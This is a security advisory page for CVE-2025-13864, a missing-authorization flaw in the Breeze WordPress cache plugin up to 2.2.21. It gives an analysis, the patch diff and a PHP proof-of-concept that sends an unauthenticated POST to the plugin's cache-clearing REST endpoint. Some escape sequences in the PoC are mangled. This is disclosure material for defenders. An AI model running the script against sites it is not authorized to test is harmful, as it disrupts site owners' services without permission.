Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-13864: Breeze – WordPress Cache Plugin <= 2.2.21 – Missing Authorization to Cache Deletion (breeze)

Plugin breeze
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 2.2.21
Patched Version 2.2.22
Disclosed February 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13864:
The Breeze WordPress cache plugin versions up to and including 2.2.21 contain a missing authorization vulnerability in its REST API cache clearing endpoint. This flaw allows unauthenticated attackers to clear all site caches when the API integration feature is enabled by an administrator. The vulnerability received a CVSS score of 5.3.

The root cause lies in the `breeze_clear_cache` function within `/breeze/inc/class-breeze-api.php`. The plugin registered the REST API endpoint `/wp-json/breeze/v1/clear-all-cache` with a `permission_callback` set to `’__return_true’`, which bypasses WordPress’s standard authentication checks. The function’s authorization logic depended on a conditional check for the `breeze-secure-api` option. When this option was disabled (the default), the function would skip token validation entirely, allowing any request to proceed. The vulnerability existed because the `breeze-secure-api` option provided administrators with a false sense of security while being ineffective.

Exploitation requires a simple POST request to the vulnerable REST endpoint. Attackers send a POST request to `https://target.com/wp-json/breeze/v1/clear-all-cache`. No authentication headers, cookies, or parameters are needed when the `breeze-secure-api` option is disabled. The attack succeeds only when administrators have enabled the `breeze-enable-api` setting in the plugin’s advanced configuration tab. The request clears all caches including page cache, Varnish cache, and Cloudflare cache if configured.

The patch removes the insecure `breeze-secure-api` option entirely. Version 2.2.22 deletes this option from the plugin’s configuration system across multiple files. The critical change occurs in `class-breeze-api.php` where the function `breeze_clear_cache` now validates the `breeze-api-token` parameter unconditionally. The patch also increases the default token length from 12 to 32 characters in `breeze-configuration.php`. The administrative interface in `advanced-tab.php` removes the authentication toggle and makes token validation mandatory for all API requests.

Successful exploitation causes a denial-of-service condition by clearing all cached content. This forces the website to regenerate cached pages, increasing server load and potentially causing performance degradation or temporary unavailability. The attack can disrupt website performance optimization efforts and impact user experience through slower page loads. While cache clearing doesn’t compromise data integrity or provide direct access to sensitive information, it can be used as part of a broader attack chain to bypass cache-based security measures or amplify other attacks.

Differential between vulnerable and patched code

Code Diff
--- a/breeze/breeze.php
+++ b/breeze/breeze.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: Breeze
  * Description: Breeze is a WordPress cache plugin with extensive options to speed up your website. All the options including Varnish Cache are compatible with Cloudways hosting.
- * Version: 2.2.21
+ * Version: 2.2.22
  * Text Domain: breeze
  * Domain Path: /languages
  * Author: Cloudways
@@ -37,7 +37,7 @@
 	define( 'BREEZE_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
 }
 if ( ! defined( 'BREEZE_VERSION' ) ) {
-	define( 'BREEZE_VERSION', '2.2.21' );
+	define( 'BREEZE_VERSION', '2.2.22' );
 }
 if ( ! defined( 'BREEZE_SITEURL' ) ) {
 	define( 'BREEZE_SITEURL', get_site_url() );
@@ -160,7 +160,6 @@
 $api_enabled = Breeze_Options_Reader::get_option_value( 'breeze-enable-api' );
 if ( $api_enabled ) {
 	$options = array(
-		'breeze-secure-api' => Breeze_Options_Reader::get_option_value( 'breeze-secure-api' ),
 		'breeze-api-token'  => Breeze_Options_Reader::get_option_value( 'breeze-api-token' ),

 	);
--- a/breeze/inc/breeze-admin.php
+++ b/breeze/inc/breeze-admin.php
@@ -747,7 +747,6 @@
 			'breeze-store-facebookpixel-locally'   => '0',
 			'breeze-store-gravatars-locally'       => '0',
 			'breeze-enable-api'                    => '0',
-			'breeze-secure-api'                    => '0',
 			'breeze-api-token'                     => $token,
 		);
 		$default_data['advanced'] = array_merge( $default_advanced, $advanced );
--- a/breeze/inc/breeze-configuration.php
+++ b/breeze/inc/breeze-configuration.php
@@ -384,7 +384,6 @@
 			'breeze-store-facebookpixel-locally'   => ( isset( $_POST['breeze-store-facebookpixel-locally'] ) ? '1' : '0' ),
 			'breeze-store-gravatars-locally'       => ( isset( $_POST['breeze-store-gravatars-locally'] ) ? '1' : '0' ),
 			'breeze-enable-api'                    => ( isset( $_POST['breeze-enable-api'] ) ? '1' : '0' ),
-			'breeze-secure-api'                    => ( isset( $_POST['breeze-secure-api'] ) ? '1' : '0' ),
 			'breeze-api-token'                     => sanitize_text_field( $breeze_api_token ),
 		);

@@ -1814,7 +1813,7 @@
 	 * @return string
 	 * @throws Exception
 	 */
-	public function breeze_generate_token( $length = 12 ) {
+	public function breeze_generate_token( $length = 32 ) {
 		$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
 		$token      = '';

@@ -1954,7 +1953,6 @@
 			'cached-query-strings' => array(),
 			'breeze-wp-emoji'      => '0',
 			'breeze-enable-api'    => '0',
-			'breeze-secure-api'    => '0',
 			'breeze-api-token'     => $token,
 		);
 		$default_heartbeat = array(
--- a/breeze/inc/class-breeze-api.php
+++ b/breeze/inc/class-breeze-api.php
@@ -25,7 +25,7 @@

 	public function breeze_clear_cache( $request ) {

-		if ( $this->options["breeze-secure-api"] && $this->options["breeze-api-token"] != $request->get_param( 'key' ) ) {
+		if ( $this->options["breeze-api-token"] != $request->get_param( 'key' ) ) {
 			// Access is denied, set status code to 403 (Forbidden)
 			$status_code   = 403;
 			$response_data = array(
--- a/breeze/inc/wp-cli/class-breeze-settings-import-export.php
+++ b/breeze/inc/wp-cli/class-breeze-settings-import-export.php
@@ -476,7 +476,6 @@
 				'breeze-store-facebookpixel-locally'   => ( isset( $options['breeze-store-facebookpixel-locally'] ) ? $options['breeze-store-facebookpixel-locally'] : '0' ),
 				'breeze-store-gravatars-locally'       => ( isset( $options['breeze-store-gravatars-locally'] ) ? $options['breeze-store-gravatars-locally'] : '0' ),
 				'breeze-enable-api'                    => ( isset( $options['breeze-enable-api'] ) ? $options['breeze-enable-api'] : '0' ),
-				'breeze-secure-api'                    => ( isset( $options['breeze-secure-api'] ) ? $options['breeze-secure-api'] : '0' ),
 				'breeze-api-token'                     => ( isset( $options['breeze-api-token'] ) ? $options['breeze-api-token'] : '' ),

 			);
@@ -713,7 +712,6 @@
 			'breeze-preload-links'                 => '1',
 			'breeze-wp-emoji'                      => '0',
 			'breeze-enable-api'                    => '0',
-			'breeze-secure-api'                    => '0',
 			'cdn-active'                           => '0',
 			'cdn-relative-path'                    => '1',
 			'auto-purge-varnish'                   => '1',
--- a/breeze/views/option-tabs/advanced-tab.php
+++ b/breeze/views/option-tabs/advanced-tab.php
@@ -59,7 +59,7 @@
 				$placeholder_never_cache_url = 'Exclude Single URL:
https://demo.com/example/

Exclude Multiple URL using wildcard
https://demo.com/example/(.*)';
 				?>
 				<textarea cols="100" rows="7" id="exclude-urls" name="exclude-urls"
-						  placeholder="<?php echo esc_attr( $placeholder_never_cache_url ); ?>"><?php echo $never_cache_urls; ?></textarea>
+							placeholder="<?php echo esc_attr( $placeholder_never_cache_url ); ?>"><?php echo $never_cache_urls; ?></textarea>
 				<div class="br-note">
 					<p>
 						<?php
@@ -98,7 +98,7 @@
 				$placeholder_cache_query_str = 'Include Single Query String:
city

Include Multiple Query Strings using wildcard
city(.*)';
 				?>
 				<textarea cols="100" rows="7" id="cache-query-str" name="cache-query-str"
-						  placeholder="<?php esc_attr_e( $placeholder_cache_query_str ); ?>"><?php echo $cached_query_strings; ?></textarea>
+							placeholder="<?php esc_attr_e( $placeholder_cache_query_str ); ?>"><?php echo $cached_query_strings; ?></textarea>
 				<div class="br-note">
 					<p>
 						<?php
@@ -132,7 +132,7 @@
 				<div class="on-off-checkbox">
 					<label class="br-switcher">
 						<input id="breeze-wpjs-emoji" name="breeze-wpjs-emoji" type="checkbox" class="br-box"
-							   value="1" <?php echo $is_enabled; ?>>
+								value="1" <?php echo $is_enabled; ?>>
 						<div class="br-see-state">
 						</div>
 					</label><br>
@@ -171,8 +171,8 @@
 				<div class="on-off-checkbox">
 					<label class="br-switcher">
 						<input id="breeze-store-googlefonts-locally" name="breeze-store-googlefonts-locally"
-							   type="checkbox" class="br-box"
-							   value="1" <?php echo $is_enabled; ?>>
+								type="checkbox" class="br-box"
+								value="1" <?php echo $is_enabled; ?>>
 						<div class="br-see-state">
 						</div>
 					</label><br>
@@ -191,8 +191,8 @@
 				<div class="on-off-checkbox">
 					<label class="br-switcher">
 						<input id="breeze-store-googleanalytics-locally" name="breeze-store-googleanalytics-locally"
-							   type="checkbox" class="br-box"
-							   value="1" <?php echo $is_enabled; ?>>
+								type="checkbox" class="br-box"
+								value="1" <?php echo $is_enabled; ?>>
 						<div class="br-see-state">
 						</div>
 					</label><br>
@@ -211,8 +211,8 @@
 				<div class="on-off-checkbox">
 					<label class="br-switcher">
 						<input id="breeze-store-facebookpixel-locally" name="breeze-store-facebookpixel-locally"
-							   type="checkbox" class="br-box"
-							   value="1" <?php echo $is_enabled; ?>>
+								type="checkbox" class="br-box"
+								value="1" <?php echo $is_enabled; ?>>
 						<div class="br-see-state">
 						</div>
 					</label><br>
@@ -231,8 +231,8 @@
 				<div class="on-off-checkbox">
 					<label class="br-switcher">
 						<input id="breeze-store-gravatars-locally" name="breeze-store-gravatars-locally" type="checkbox"
-							   class="br-box"
-							   value="1" <?php echo $is_enabled; ?>>
+								class="br-box"
+								value="1" <?php echo $is_enabled; ?>>
 						<div class="br-see-state">
 						</div>
 					</label><br>
@@ -268,7 +268,7 @@
 				<div class="on-off-checkbox">
 					<label class="br-switcher">
 						<input id="breeze-enable-api" name="breeze-enable-api" type="checkbox" class="br-box"
-							   value="1" <?php echo $is_enabled; ?>>
+								value="1" <?php echo $is_enabled; ?>>
 						<div class="br-see-state">
 						</div>
 					</label><br>
@@ -286,9 +286,6 @@

 		<!-- START OPTION -->
 		<?php
-		$basic_value = isset( $options['breeze-secure-api'] ) ? filter_var( $options['breeze-secure-api'], FILTER_VALIDATE_BOOLEAN ) : false;
-		$is_enabled  = ( isset( $basic_value ) && true === $basic_value ) ? checked( $options['breeze-secure-api'], '1', false ) : '';
-
 		$disable_group_css = '';
 		$disable_overlay   = '';

@@ -300,24 +297,13 @@
 		<div class="br-option-item<?php echo $disable_overlay; ?>">
 			<div class="br-label">
 				<div class="br-option-text">
-					<?php _e( 'Authentication', 'breeze' ); ?>
+					<?php _e( 'Authentication Token', 'breeze' ); ?>
 				</div>
 			</div>
 			<div class="br-option">
-				<!-- Checkbox -->
-				<div class="on-off-checkbox">
-					<label class="br-switcher">
-						<input id="breeze-secure-api" name="breeze-secure-api" type="checkbox" class="br-box"
-							   value="1" <?php echo $is_enabled; ?> <?php echo $disable_group_css; ?>>
-						<div class="br-see-state">
-						</div>
-					</label><br>
-				</div>
-
-
 				<div class="br-note">
-					<p>
-						<?php _e( 'Secure Breeze API Endpoint with authentication key, allowing the ability option to safeguard the purge endpoint from unauthorized access. Use the option below to autogenerate a random key.', 'breeze' ); ?>
+					<p style="margin-top:0">
+						<?php _e( 'Authentication is required for the Breeze API Endpoint. Provide an authentication key to secure the purge endpoint from unauthorized access. Use the refresh icon to autogenerate a random key.', 'breeze' ); ?>
 					</p>
 				</div>

@@ -330,11 +316,15 @@
 				?>
 				<div>
 					<input type="text" id="breeze-api-token" name="breeze-api-token"
-						   placeholder="5a1404a010241e0b79aecb67581009d5"
-						   value="<?php echo $api_token_output; ?>"/>
+							placeholder="5a1404a010241e0b79aecb67581009d5"
+							value="<?php echo $api_token_output; ?>"/>
 					<a id="refresh-api-token" title="<?php esc_attr_e( 'Refresh Token', 'breeze' ); ?>">
 						<span class="dashicons dashicons-update"></span>
 					</a>
+					<a style="display: inline-block;color: #11ACDF;  margin-left: 15px;" id="copy-api-token"
+						title="<?php esc_attr_e( 'Copy Token', 'breeze' ); ?>">
+						<span style="font-size: 22px;" class="dashicons dashicons-clipboard"></span>
+					</a>
 				</div>
 				<div class="br-note">

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-13864 - Breeze – WordPress Cache Plugin <= 2.2.21 - Missing Authorization to Cache Deletion

<?php
/**
 * Proof of Concept for CVE-2025-13864
 * Unauthenticated Cache Clearing in Breeze WordPress Plugin <= 2.2.21
 *
 * Prerequisites:
 * - Target must have Breeze plugin installed (<= 2.2.21)
 * - Target must have API integration enabled in Breeze settings
 * - The 'breeze-secure-api' option must be disabled (default)
 */

$target_url = 'https://example.com'; // CHANGE THIS TO TARGET URL

// Construct the vulnerable REST API endpoint
$api_endpoint = rtrim($target_url, '/') . '/wp-json/breeze/v1/clear-all-cache';

// Initialize cURL session
$ch = curl_init();

// Set cURL options for POST request
curl_setopt($ch, CURLOPT_URL, $api_endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // Disable for testing only
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'User-Agent: Atomic-Edge-PoC/1.0'
]);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check response
if ($http_code === 200) {
    $response_data = json_decode($response, true);
    if (isset($response_data['success']) && $response_data['success'] === true) {
        echo "[SUCCESS] Cache cleared successfully on $target_urln";
        echo "Response: " . json_encode($response_data, JSON_PRETTY_PRINT) . "n";
    } else {
        echo "[FAILED] Cache clear request returned unexpected responsen";
        echo "HTTP Code: $http_coden";
        echo "Response: $responsen";
    }
} else if ($http_code === 403) {
    echo "[BLOCKED] Target appears to be patched or has secure-api enabledn";
    echo "HTTP Code: $http_coden";
} else {
    echo "[ERROR] Request failed or API not enabledn";
    echo "HTTP Code: $http_coden";
    echo "Response: $responsen";
}

// Close cURL session
curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School